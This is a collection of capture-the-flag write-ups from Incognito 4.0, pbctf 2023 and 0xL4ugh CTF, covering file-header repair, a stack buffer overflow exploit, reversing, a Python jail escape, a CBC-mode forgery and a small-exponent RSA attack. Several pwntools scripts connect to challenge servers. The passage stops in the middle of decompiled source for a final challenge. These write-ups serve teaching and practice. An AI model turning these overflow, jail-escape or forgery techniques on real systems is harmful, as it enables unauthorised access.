Incognito 4.0
Ancient
First we open it by 010editor. From the hexdump we can see there is a string “IHDR”, so we guess it’s a .png file.
1
00000000 00 00 00 00 aa 0a 1a 0a 00 00 00 0d 49 48 44 52 |....ª.......IHDR|
Grab a file header from an unmodified png file(just the signature is enough).
1
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
Open the file, and we see:
By google lens we know it’s Medieval Cistercian Numbers.
Decode it to numbers, and then decode the numbers by ascii to string:
1
2
>>> bytes([105,99,116,102,123,48,108,100,95,109,48,110,107,95,49,57,48,100,101,49,99,51,125])
b'ictf{0ld_m0nk_190de1c3}'
babyFlow
source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int get_shell()
{
return execve("/bin/sh", 0, 0);
}
char *__cdecl vulnerable_function(char *src)
{
char dest[16]; // [esp+4h] [ebp-14h] BYREF
return strcpy(dest, src);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[80]; // [esp+0h] [ebp-58h] BYREF
int *p_argc; // [esp+50h] [ebp-8h]
p_argc = &argc;
puts("can you pass me?");
gets(s);
vulnerable_function(s);
return 0;
}
1
.text:080491FC public get_shell
exp:
1
2
3
4
5
6
from pwn import *
p = process('./babyflow')
# p = remote('143.198.219.171',5000)
payload = b'a'*20+p32(0x080491FC)
p.sendline(payload)
p.interactive()
Crypto 1
chal.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
flag = "" #redacted
flag = flag[:15]
def func(f, i):
if i<5:
out = ord(f) ^ 0x76 ^ 0xAD
var1 = (out & 0xAA) >> 1
var2 = 2 * out & 0xAA
return var1 | var2
elif i>=5 and i<10:
out = ord(f) ^ 0x76 ^ 0xBE
var1 = (out & 0xCC) >> 2
var2 = 4 * out & 0xCC
return var1 | var2
else:
out = ord(f) ^ 0x76 ^ 0xEF
var1 = (out & 0xF0) >> 4
var2 = 16 * out & 0xF0
return var1 | var2
res = ''
for i in range(15):
res += chr(func(flag[i], i))
f = open('result','w')
f.write(res)
f.close()
hexdump of result:
1
2
00000000 c3 93 c3 93 7e c3 94 c3 97 c2 a3 c3 b6 c2 ae c2 |Ã.Ã.~Ã.Ã.£ö®Â|
00000010 a3 c3 b6 c2 8f c2 bf c3 9a c3 9a c2 aa |£Ã¶Â.¿Ã.Ã.ª|
The first unusual thing here is that the challenge use 'w'
to open the result
file, but the characters written into it are ranging from 0x00-0xff
.
What happens when a character over 127 is written in this case? By doing a simple experiment, we found that:
1
2
3
with open('test','w') as f:
for i in range(256):
f.write(i+'\x00') # add '\0' as intervals
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
00000000 00 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 |................|
00000010 08 00 09 00 0a 00 0b 00 0c 00 0d 00 0e 00 0f 00 |................|
00000020 10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 |................|
00000030 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 |................|
00000040 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 | .!.".#.$.%.&.'.|
00000050 28 00 29 00 2a 00 2b 00 2c 00 2d 00 2e 00 2f 00 |(.).*.+.,.-.../.|
00000060 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 |0.1.2.3.4.5.6.7.|
00000070 38 00 39 00 3a 00 3b 00 3c 00 3d 00 3e 00 3f 00 |8.9.:.;.<.=.>.?.|
00000080 40 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 |@.A.B.C.D.E.F.G.|
00000090 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 4f 00 |H.I.J.K.L.M.N.O.|
000000a0 50 00 51 00 52 00 53 00 54 00 55 00 56 00 57 00 |P.Q.R.S.T.U.V.W.|
000000b0 58 00 59 00 5a 00 5b 00 5c 00 5d 00 5e 00 5f 00 |X.Y.Z.[.\.].^._.|
000000c0 60 00 61 00 62 00 63 00 64 00 65 00 66 00 67 00 |`.a.b.c.d.e.f.g.|
000000d0 68 00 69 00 6a 00 6b 00 6c 00 6d 00 6e 00 6f 00 |h.i.j.k.l.m.n.o.|
000000e0 70 00 71 00 72 00 73 00 74 00 75 00 76 00 77 00 |p.q.r.s.t.u.v.w.|
000000f0 78 00 79 00 7a 00 7b 00 7c 00 7d 00 7e 00 7f 00 |x.y.z.{.|.}.~...|
00000100 c2 80 00 c2 81 00 c2 82 00 c2 83 00 c2 84 00 c2 |Â..Â..Â..Â..Â..Â|
00000110 85 00 c2 86 00 c2 87 00 c2 88 00 c2 89 00 c2 8a |..Â..Â..Â..Â..Â.|
00000120 00 c2 8b 00 c2 8c 00 c2 8d 00 c2 8e 00 c2 8f 00 |.Â..Â..Â..Â..Â..|
00000130 c2 90 00 c2 91 00 c2 92 00 c2 93 00 c2 94 00 c2 |Â..Â..Â..Â..Â..Â|
00000140 95 00 c2 96 00 c2 97 00 c2 98 00 c2 99 00 c2 9a |..Â..Â..Â..Â..Â.|
00000150 00 c2 9b 00 c2 9c 00 c2 9d 00 c2 9e 00 c2 9f 00 |.Â..Â..Â..Â..Â..|
00000160 c2 a0 00 c2 a1 00 c2 a2 00 c2 a3 00 c2 a4 00 c2 | .¡.¢.£.¤.Â|
00000170 a5 00 c2 a6 00 c2 a7 00 c2 a8 00 c2 a9 00 c2 aa |¥.¦.§.¨.©.ª|
00000180 00 c2 ab 00 c2 ac 00 c2 ad 00 c2 ae 00 c2 af 00 |.«.¬.Â..®.¯.|
00000190 c2 b0 00 c2 b1 00 c2 b2 00 c2 b3 00 c2 b4 00 c2 |°.±.².³.´.Â|
000001a0 b5 00 c2 b6 00 c2 b7 00 c2 b8 00 c2 b9 00 c2 ba |µ.¶.·.¸.¹.º|
000001b0 00 c2 bb 00 c2 bc 00 c2 bd 00 c2 be 00 c2 bf 00 |.».¼.½.¾.¿.|
000001c0 c3 80 00 c3 81 00 c3 82 00 c3 83 00 c3 84 00 c3 |Ã..Ã..Ã..Ã..Ã..Ã|
000001d0 85 00 c3 86 00 c3 87 00 c3 88 00 c3 89 00 c3 8a |..Ã..Ã..Ã..Ã..Ã.|
000001e0 00 c3 8b 00 c3 8c 00 c3 8d 00 c3 8e 00 c3 8f 00 |.Ã..Ã..Ã..Ã..Ã..|
000001f0 c3 90 00 c3 91 00 c3 92 00 c3 93 00 c3 94 00 c3 |Ã..Ã..Ã..Ã..Ã..Ã|
00000200 95 00 c3 96 00 c3 97 00 c3 98 00 c3 99 00 c3 9a |..Ã..Ã..Ã..Ã..Ã.|
00000210 00 c3 9b 00 c3 9c 00 c3 9d 00 c3 9e 00 c3 9f 00 |.Ã..Ã..Ã..Ã..Ã..|
00000220 c3 a0 00 c3 a1 00 c3 a2 00 c3 a3 00 c3 a4 00 c3 |à .á.â.ã.ä.Ã|
00000230 a5 00 c3 a6 00 c3 a7 00 c3 a8 00 c3 a9 00 c3 aa |¥.æ.ç.è.é.ê|
00000240 00 c3 ab 00 c3 ac 00 c3 ad 00 c3 ae 00 c3 af 00 |.ë.ì.Ã..î.ï.|
00000250 c3 b0 00 c3 b1 00 c3 b2 00 c3 b3 00 c3 b4 00 c3 |ð.ñ.ò.ó.ô.Ã|
00000260 b5 00 c3 b6 00 c3 b7 00 c3 b8 00 c3 b9 00 c3 ba |µ.ö.÷.ø.ù.ú|
00000270 00 c3 bb 00 c3 bc 00 c3 bd 00 c3 be 00 c3 bf 00 |.û.ü.ý.þ.ÿ.|
from 0x80-0xbf
, a 0xc2
will be added before the character itself;
from 0xc0-0xff
, a 0xc3
will be added before the character, and the character will be minus by 0x40
.
So we can reveal the original byte flow.
Another vulnerability is that it is encrypting the flag byte by byte (which can be seem as ECB
mode with BLOCK_SIZE=1
), so the message space is quiet small (in fact, 0x20-0x7e
), and we can bruteforce them individually.
(if you want to do it more elegant, you can also use z3-solver
to deal with the equations)
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
c = bytes.fromhex('C3 93 C3 93 7E C3 94 C3 97 C2 A3 C3 B6 C2 AE C2 A3 C3 B6 C2 8F C2 BF C3 9A C3 9A C2 AA')
cc = []
i = 0
while i < len(c):
if c[i]==0xc3:
cc.append(c[i+1]+0x40)
i+=2
elif c[i]==0xc2:
cc.append(c[i+1])
i+=2
else:
cc.append(c[i])
i+=1
c = bytes(cc)
m = [0]*15
def func(f, i):
if i<5:
out = ord(f) ^ 0x76 ^ 0xAD
var1 = (out & 0xAA) >> 1
var2 = 2 * out & 0xAA
return var1 | var2
elif i>=5 and i<10:
out = ord(f) ^ 0x76 ^ 0xBE
var1 = (out & 0xCC) >> 2
var2 = 4 * out & 0xCC
return var1 | var2
else:
out = ord(f) ^ 0x76 ^ 0xEF
var1 = (out & 0xF0) >> 4
var2 = 16 * out & 0xF0
return var1 | var2
for i in range(15):
for j in range(128):
if(func(chr(j),i)==c[i]):
m[i]=j
break
print(bytes(m))
# ictf{88f30d1cd1ab443}
Gainme
More like a reverse challenge than a pwn.
Source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[4]; // [esp+0h] [ebp-60h]
char v5[64]; // [esp+10h] [ebp-50h] BYREF
void (__cdecl *v6)(char *); // [esp+50h] [ebp-10h]
int i; // [esp+54h] [ebp-Ch]
int *p_argc; // [esp+58h] [ebp-8h]
p_argc = &argc;
v4[0] = (int)lvlone;
v4[1] = (int)lvltwo;
v4[2] = (int)lvlthree;
v4[3] = (int)lvlfour;
setvbuf(stdout, 0, 2, 0);
puts("Solve the levels to gain access to the flag");
for ( i = 0; i <= 3; ++i )
{
printf("Enter input for Level %d: ", i);
__isoc99_scanf("%s", v5);
v6 = (void (__cdecl *)(char *))v4[i];
v6(v5);
}
print_flag();
return 0;
}
int __cdecl lvlone(char *s1)
{
int result; // eax
result = strcmp(s1, "ICTF4");
if ( result )
exit(0);
return result;
}
size_t __cdecl lvltwo(char *a1)
{
size_t result; // eax
char s[16]; // [esp+Ah] [ebp-1Eh] BYREF
__int16 v3; // [esp+1Ah] [ebp-Eh]
size_t i; // [esp+1Ch] [ebp-Ch]
*(__m128i *)s = _mm_load_si128((const __m128i *)&xmmword_2090);
v3 = 0x63;
for ( i = 0; ; ++i )
{
result = strlen(s);
if ( i >= result )
break;
if ( s[i] != a1[i] )
exit(0);
}
return result;
}
Elf32_Dyn **__cdecl lvlthree(_DWORD *a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( *a1 != 0xDEADBEEF )
exit(0);
return result;
}
int __cdecl lvlfour(char *s)
{
int v2; // [esp+Ch] [ebp-Ch]
if ( strlen(s) > 3 )
exit(0);
v2 = atoi(s);
if ( v2 * v2 * v2 + -3 * v2 * v2 + 3 * v2 - 1 )
exit(0);
return puts("Congratulations");
}
int print_flag()
{
char v1; // [esp+7h] [ebp-11h]
__gid_t v2; // [esp+8h] [ebp-10h]
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
v2 = getegid();
setresgid(v2, v2, v2);
if ( !stream )
return puts("Error");
while ( 1 )
{
v1 = fgetc(stream);
if ( v1 == -1 )
break;
putchar(v1);
}
return fclose(stream);
}
1
2
.rodata:00002090 64 61 73 44 41 53 51 57 67 6A+xmmword_2090 xmmword 'sdokrtjgWQSADsad' ; DATA XREF: lvltwo+19↑r
.rodata:00002090 74 72 6B 6F 64 73 _rodata ends
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# p = process('./gainme')
p = remote('143.198.219.171',5003)
# context(log_level='debug',os='linux',arch='i386')
p.sendline(b'ICTF4')
p.sendline(b'dasDASQWgjtrkodsc')
p.sendline(p32(0xDEADBEEF))
import z3
v2 = z3.Int('v2')
s = z3.Solver()
s.add(v2 * v2 * v2 + -3 * v2 * v2 + 3 * v2 - 1 == 0)
if s.check() == z3.sat:
v2 = s.model().eval(v2).as_long()
# v2 = 1
p.sendline(str(v2).encode())
p.interactive()
# ictf{g@inm3-sf23f-4fd2150cd33db}
Remember to add the ‘c’(0x63) in lvltwo
.
Meow
First if you decompile main()
, you will found nothing in it.
1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return 0;
}
That’s true! It actually did nothing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000001119
.text:0000000000001119 ; =============== S U B R O U T I N E =======================================
.text:0000000000001119
.text:0000000000001119 ; Attributes: bp-based frame
.text:0000000000001119
.text:0000000000001119 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000001119 public main
.text:0000000000001119 main proc near ; DATA XREF: _start+18↑o
.text:0000000000001119
.text:0000000000001119 var_10= qword ptr -10h
.text:0000000000001119 var_4= dword ptr -4
.text:0000000000001119
.text:0000000000001119 ; __unwind {
.text:0000000000001119 55 push rbp
.text:000000000000111A 48 89 E5 mov rbp, rsp
.text:000000000000111D 89 7D FC mov [rbp+var_4], edi
.text:0000000000001120 48 89 75 F0 mov [rbp+var_10], rsi
.text:0000000000001124 B8 00 00 00 00 mov eax, 0
.text:0000000000001129 5D pop rbp
.text:000000000000112A C3 retn
.text:000000000000112A ; } // starts at 1119
.text:000000000000112A
.text:000000000000112A main endp
.text:000000000000112A
.text:000000000000112A _text ends
.text:000000000000112A
So where’s the flag? Scrolling down and we find some suspicious data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
.rodata:0000000000002008 00 unk_2008 db 0 ; DATA XREF: .data:x↓o
.rodata:0000000000002009 69 db 69h ; i
.rodata:000000000000200A 00 db 0
.rodata:000000000000200B 63 db 63h ; c
.rodata:000000000000200C 00 db 0
.rodata:000000000000200D 74 db 74h ; t
.rodata:000000000000200E 00 db 0
.rodata:000000000000200F 66 db 66h ; f
.rodata:0000000000002010 00 db 0
.rodata:0000000000002011 7B db 7Bh ; {
.rodata:0000000000002012 00 db 0
.rodata:0000000000002013 65 db 65h ; e
.rodata:0000000000002014 00 db 0
.rodata:0000000000002015 61 db 61h ; a
.rodata:0000000000002016 00 db 0
.rodata:0000000000002017 73 db 73h ; s
.rodata:0000000000002018 00 db 0
.rodata:0000000000002019 69 db 69h ; i
.rodata:000000000000201A 00 db 0
.rodata:000000000000201B 65 db 65h ; e
.rodata:000000000000201C 00 db 0
.rodata:000000000000201D 73 db 73h ; s
.rodata:000000000000201E 00 db 0
.rodata:000000000000201F 74 db 74h ; t
.rodata:0000000000002020 00 db 0
.rodata:0000000000002021 5F db 5Fh ; _
.rodata:0000000000002022 00 db 0
.rodata:0000000000002023 63 db 63h ; c
.rodata:0000000000002024 00 db 0
.rodata:0000000000002025 68 db 68h ; h
.rodata:0000000000002026 00 db 0
.rodata:0000000000002027 61 db 61h ; a
.rodata:0000000000002028 00 db 0
.rodata:0000000000002029 6C db 6Ch ; l
.rodata:000000000000202A 00 db 0
.rodata:000000000000202B 6C db 6Ch ; l
.rodata:000000000000202C 00 db 0
.rodata:000000000000202D 65 db 65h ; e
.rodata:000000000000202E 00 db 0
.rodata:000000000000202F 6E db 6Eh ; n
.rodata:0000000000002030 00 db 0
.rodata:0000000000002031 67 db 67h ; g
.rodata:0000000000002032 00 db 0
.rodata:0000000000002033 65 db 65h ; e
.rodata:0000000000002034 00 db 0
.rodata:0000000000002035 5F db 5Fh ; _
.rodata:0000000000002036 00 db 0
.rodata:0000000000002037 6F db 6Fh ; o
.rodata:0000000000002038 00 db 0
.rodata:0000000000002039 66 db 66h ; f
.rodata:000000000000203A 00 db 0
.rodata:000000000000203B 5F db 5Fh ; _
.rodata:000000000000203C 00 db 0
.rodata:000000000000203D 74 db 74h ; t
.rodata:000000000000203E 00 db 0
.rodata:000000000000203F 68 db 68h ; h
.rodata:0000000000002040 00 db 0
.rodata:0000000000002041 65 db 65h ; e
.rodata:0000000000002042 00 db 0
.rodata:0000000000002043 6D db 6Dh ; m
.rodata:0000000000002044 00 db 0
.rodata:0000000000002045 5F db 5Fh ; _
.rodata:0000000000002046 00 db 0
.rodata:0000000000002047 61 db 61h ; a
.rodata:0000000000002048 00 db 0
.rodata:0000000000002049 6C db 6Ch ; l
.rodata:000000000000204A 00 db 0
.rodata:000000000000204B 6C db 6Ch ; l
.rodata:000000000000204C 00 db 0
.rodata:000000000000204D 7D db 7Dh ; }
.rodata:000000000000204E 00 db 0
.rodata:000000000000204E _rodata ends
.rodata:000000000000204E
Wow, it seems that this is just the flag. Let’s put them together:
1
2
3
4
5
6
7
print(bytes.fromhex("""00 69 00 63 00 74 00 66 00 7B 00 65 00 61 00 73
00 69 00 65 00 73 00 74 00 5F 00 63 00 68 00 61
00 6C 00 6C 00 65 00 6E 00 67 00 65 00 5F 00 6F
00 66 00 5F 00 74 00 68 00 65 00 6D 00 5F 00 61
00 6C 00 6C 00 7D
""".replace('00','')))
# ictf{easiest_challenge_of_them_all}
pyjail
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string
ALLOWED_CHARS = string.ascii_letters + string.digits + '.' + '=' + "\"" + " " + "(" + ")" + "*" + ":"+"'"+","
FORBIDDEN_BUILTINS = ['open', 'eval', 'exec', 'execfile']
def check_input(input_str):
for char in input_str:
if char not in ALLOWED_CHARS:
raise ValueError("Error: forbidden character '{}'".format(char))
def remove_builtins():
for builtin in FORBIDDEN_BUILTINS:
if builtin in globals():
del globals()[builtin]
remove_builtins()
# start the jail
print("Welcome to the IIITL Jail! Escape if you can")
while True:
try:
user_input = input("jail> ")
check_input(user_input)
exec(user_input)
except Exception as e:
print("Error:", e)
Solution:
All you need is just a breakpoint()
.
pbctf 2023
task.py
:
Blocky -0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
import hashlib
import os
import signal
from Cipher import BlockCipher
from GF import GF
def handler(_signum, _frame):
print("Time out!")
exit(0)
def get_random_block():
block = b''
while len(block) < 9:
b = os.urandom(1)
if b[0] < 243:
block += b
return block
def get_mac(pt):
mac = hashlib.sha256(pt).digest()[:9]
return bytes([x % 243 for x in mac])
def pad(pt):
mac = get_mac(pt)
v = 9 - len(pt) % 9
return pt + bytes([v] * v) + mac
def unpad(pt):
if len(pt) < 18 or len(pt) % 9 != 0:
return
pt, mac = pt[:-9], pt[-9:]
if not (1 <= pt[-1] <= 9):
print('pad not match')
return
pt = pt[:-pt[-1]]
if mac == get_mac(pt):
return pt
else:
print('mac not match')
def add(a, b):
return bytes([(GF(x) + GF(y)).to_int() for x, y in zip(a, b)])
def sub(a, b):
return bytes([(GF(x) - GF(y)).to_int() for x, y in zip(a, b)])
def main():
signal.signal(signal.SIGALRM, handler)
signal.alarm(60)
key = get_random_block()
cipher = BlockCipher(key, 20)
while True:
inp = input("> ")
if inp == 'E':
inp = input("Input (in hex): ")
inp = bytes.fromhex(inp)
assert len(inp) < 90
assert all(b < 243 for b in inp)
if inp == 'gimmeflag':
print("Result: None")
continue
pt = pad(inp)
iv = get_random_block()
enc = iv
for i in range(0, len(pt), 9):
t = add(pt[i:i+9], iv)
iv = cipher.encrypt(t)
enc += iv
print(f"Result: {enc.hex()}")
elif inp == 'D':
inp = input("Input (in hex): ")
inp = bytes.fromhex(inp)
assert len(inp) < 108
assert all(b < 243 for b in inp)
iv, ct = inp[:9], inp[9:]
dec = b''
for i in range(0, len(ct), 9):
t = cipher.decrypt(ct[i:i+9])
dec += sub(t, iv)
iv = ct[i:i+9]
pt = unpad(dec)
if pt == b'gimmeflag':
with open('flag', 'r') as f:
flag = f.read()
print(flag)
exit(0)
elif pt:
print(f"Result: {pt.hex()}")
else:
print("Result: None")
if __name__ == "__main__":
main()
Cipher.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from GF import GF
SBOX, INV_SBOX = dict(), dict()
for i in range(3 ** 5):
v = GF(23) + (GF(0) if i == 0 else GF(i).inverse())
SBOX[GF(i)] = v
INV_SBOX[v] = GF(i)
class BlockCipher:
def __init__(self, key: bytes, rnd: int):
assert len(key) == 9
sks = [GF(b) for b in key]
for i in range(rnd * 9):
sks.append(sks[-1] + SBOX[sks[-9]])
self.subkeys = [sks[i:i+9] for i in range(0, (rnd + 1) * 9, 9)]
self.rnd = rnd
def _add_key(self, l1, l2):
return [x + y for x, y in zip(l1, l2)]
def _sub_key(self, l1, l2):
return [x - y for x, y in zip(l1, l2)]
def _sub(self, l):
return [SBOX[x] for x in l]
def _sub_inv(self, l):
return [INV_SBOX[x] for x in l]
def _shift(self, b):
return [
b[0], b[1], b[2],
b[4], b[5], b[3],
b[8], b[6], b[7]
]
def _shift_inv(self, b):
return [
b[0], b[1], b[2],
b[5], b[3], b[4],
b[7], b[8], b[6]
]
def _mix(self, b):
b = b[:] # Copy
for i in range(3):
x = GF(7) * b[i] + GF(2) * b[3 + i] + b[6 + i]
y = GF(2) * b[i] + b[3 + i] + GF(7) * b[6 + i]
z = b[i] + GF(7) * b[3 + i] + GF(2) * b[6 + i]
b[i], b[3 + i], b[6 + i] = x, y, z
return b
def _mix_inv(self, b):
b = b[:] # Copy
for i in range(3):
x = GF(86) * b[i] + GF(222) * b[3 + i] + GF(148) * b[6 + i]
y = GF(222) * b[i] + GF(148) * b[3 + i] + GF(86) * b[6 + i]
z = GF(148) * b[i] + GF(86) * b[3 + i] + GF(222) * b[6 + i]
b[i], b[3 + i], b[6 + i] = x, y, z
return b
def encrypt(self, inp: bytes):
assert len(inp) == 9
b = [GF(x) for x in inp]
b = self._add_key(b, self.subkeys[0])
for i in range(self.rnd):
b = self._sub(b)
b = self._shift(b)
if i < self.rnd - 1:
b = self._mix(b)
b = self._add_key(b, self.subkeys[i + 1])
return bytes([x.to_int() for x in b])
def decrypt(self, inp: bytes):
assert len(inp) == 9
b = [GF(x) for x in inp]
for i in reversed(range(self.rnd)):
b = self._sub_key(b, self.subkeys[i + 1])
if i < self.rnd - 1:
b = self._mix_inv(b)
b = self._shift_inv(b)
b = self._sub_inv(b)
b = self._sub_key(b, self.subkeys[0])
return bytes([x.to_int() for x in b])
if __name__ == "__main__":
import random
key = bytes(random.randint(0, 242) for i in range(9))
cipher = BlockCipher(key, 4)
for _ in range(100):
pt = bytes(random.randint(0, 242) for i in range(9))
ct = cipher.encrypt(pt)
pt_ = cipher.decrypt(ct)
assert pt == pt_
GF.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class GF:
def __init__(self, value):
if type(value) == int:
self.value = [(value // (3 ** i)) % 3 for i in range(5)]
elif type(value) == list and len(value) == 5:
self.value = value
else:
assert False, "Wrong input to the constructor"
def __str__(self):
return f"GF({self.to_int()})"
def __repr__(self):
return str(self)
def __hash__(self):
return hash(tuple(self.value))
def __eq__(self, other):
assert type(other) == GF
return self.value == other.value
def __add__(self, other):
assert type(other) == GF
return GF([(x + y) % 3 for x, y in zip(self.value, other.value)])
def __sub__(self, other):
assert type(other) == GF
return GF([(x - y) % 3 for x, y in zip(self.value, other.value)])
def __mul__(self, other):
assert type(other) == GF
arr = [0 for _ in range(9)]
for i in range(5):
for j in range(5):
arr[i + j] = (arr[i + j] + self.value[i] * other.value[j]) % 3
# Modulus: x^5 + 2*x + 1
for i in range(8, 4, -1):
arr[i - 4] = (arr[i - 4] - 2 * arr[i]) % 3
arr[i - 5] = (arr[i - 5] - arr[i]) % 3
return GF(arr[:5])
def __pow__(self, other):
assert type(other) == int
base, ret = self, GF(1)
while other > 0:
if other & 1:
ret = ret * base
other >>= 1
base = base * base
return ret
def inverse(self):
return self ** 241
def __div__(self, other):
assert type(other) == GF
return self * other.inverse()
def to_int(self):
return sum([self.value[i] * (3 ** i) for i in range(5)])
if __name__ == "__main__":
assert GF(3) * GF(3) == GF(9)
assert GF(9) * GF(27) == GF(5)
assert GF(5).inverse() == GF(240)
The key point here is by looking at the way it encrypts and decrypts, we know it’s CBC
mode.
A well-known property of CBC is that adding a block after the plaintext will not affect the ciphertext of the original plaintext.
So we can bypass it by query the encryption of pad('gimmeflag')
and delete the unwanted part.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
def get_mac(pt):
mac = hashlib.sha256(pt).digest()[:9]
return bytes([x % 243 for x in mac])
def pad(pt):
mac = get_mac(pt)
v = 9 - len(pt) % 9
return pt + bytes([v] * v) + mac
p = remote('blocky-0.chal.perfect.blue',1337)
p.sendline(b'E')
p.recvuntil(b'Input (in hex): ')
p.sendline(pad(b'gimmeflag').hex().encode())
p.recvuntil(b'Result: ')
c = bytes.fromhex(p.recvline().decode().strip())
p.sendline(b'D')
p.recvuntil(b'Input (in hex): ')
p.sendline(c[:36].hex().encode())
p.interactive()
# pbctf{actually_I_made_the_same_mistake_in_CODEGATE_Finals}
0xL4ugh CTF 23’
Crypto 2
code.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import bytes_to_long, getPrime
from secret import messages
def RSA_encrypt(message):
m = bytes_to_long(message)
p = getPrime(1024)
q = getPrime(1024)
N = p * q
e = 3
c = pow(m, e, N)
return N, e, c
for m in messages:
N, e, c = RSA_encrypt(m)
print(f"n = {N}")
print(f"e = {e}")
print(f"c = {c}")
output.txt
:
1
2
3
4
5
n = 16691865792147194697602300512532851182049374635648801189035809706515463120586646192481229145243032049569188562652509317620313234450062651687702398851985141210252080200118496555573100538082230667123330012596663673730204381449416210246747100065137562877723883087453655498192797717322414163929033958154847172474876805828355467779563924126108244847992313964795565023554963296215243179420547862638306573737884301209065640499511319512400331964327680966267406302192650421152395257843371809022919488155958420254813754963104236903270765037373600427365083337259089056941701762267110792581437924801009323096077817633370816094073
e = 3
c = 527715545190279160683427564102415343921040361668522479441727171363460126920288425567651662947621100428078618585624707291232885706132068328305084115992340337032439274527186826778447854890982475878955397378947713414201050357209397140391734937299379698886378260075489810871914081834819238233619226377140629000968272406078503709732856007314599153696811725183993977424740513321277346005097500256459835713834182894305536107589525724571208098322359262186595358977825573193007799376102473240254372327730839223120373818874006086733633525830272119104666835113980722223258389364156995110666626033474727892354233040278510447646
......
Because e=3
is small, we tried to bruteforce the m
.
1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2
import libnum
n = 16691865792147194697602300512532851182049374635648801189035809706515463120586646192481229145243032049569188562652509317620313234450062651687702398851985141210252080200118496555573100538082230667123330012596663673730204381449416210246747100065137562877723883087453655498192797717322414163929033958154847172474876805828355467779563924126108244847992313964795565023554963296215243179420547862638306573737884301209065640499511319512400331964327680966267406302192650421152395257843371809022919488155958420254813754963104236903270765037373600427365083337259089056941701762267110792581437924801009323096077817633370816094073
e = 3
c = 527715545190279160683427564102415343921040361668522479441727171363460126920288425567651662947621100428078618585624707291232885706132068328305084115992340337032439274527186826778447854890982475878955397378947713414201050357209397140391734937299379698886378260075489810871914081834819238233619226377140629000968272406078503709732856007314599153696811725183993977424740513321277346005097500256459835713834182894305536107589525724571208098322359262186595358977825573193007799376102473240254372327730839223120373818874006086733633525830272119104666835113980722223258389364156995110666626033474727892354233040278510447646
i = 0
while True:
res = gmpy2.iroot(c+i*n,3)
if res[1]:
print(libnum.n2s(int(res[0])))
break
i += 1
# OSC{C0N6r47U14710N5!_Y0U_UND3r574ND_H0W_70_U53_H4574D5_8r04DC457_4774CK_______0xL4ugh}
… and we succeed in one attempt. It seems the intented solution was the Hastad’s Broadcast Attack.
Easy-Peasy
source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
void **v4; // rdx
void **v5; // rax
__int64 v6; // rax
void **v7; // rdx
__int64 v8; // rax
void *v9; // rcx
int v11[6]; // [rsp+20h] [rbp-50h]
__int16 v12; // [rsp+38h] [rbp-38h]
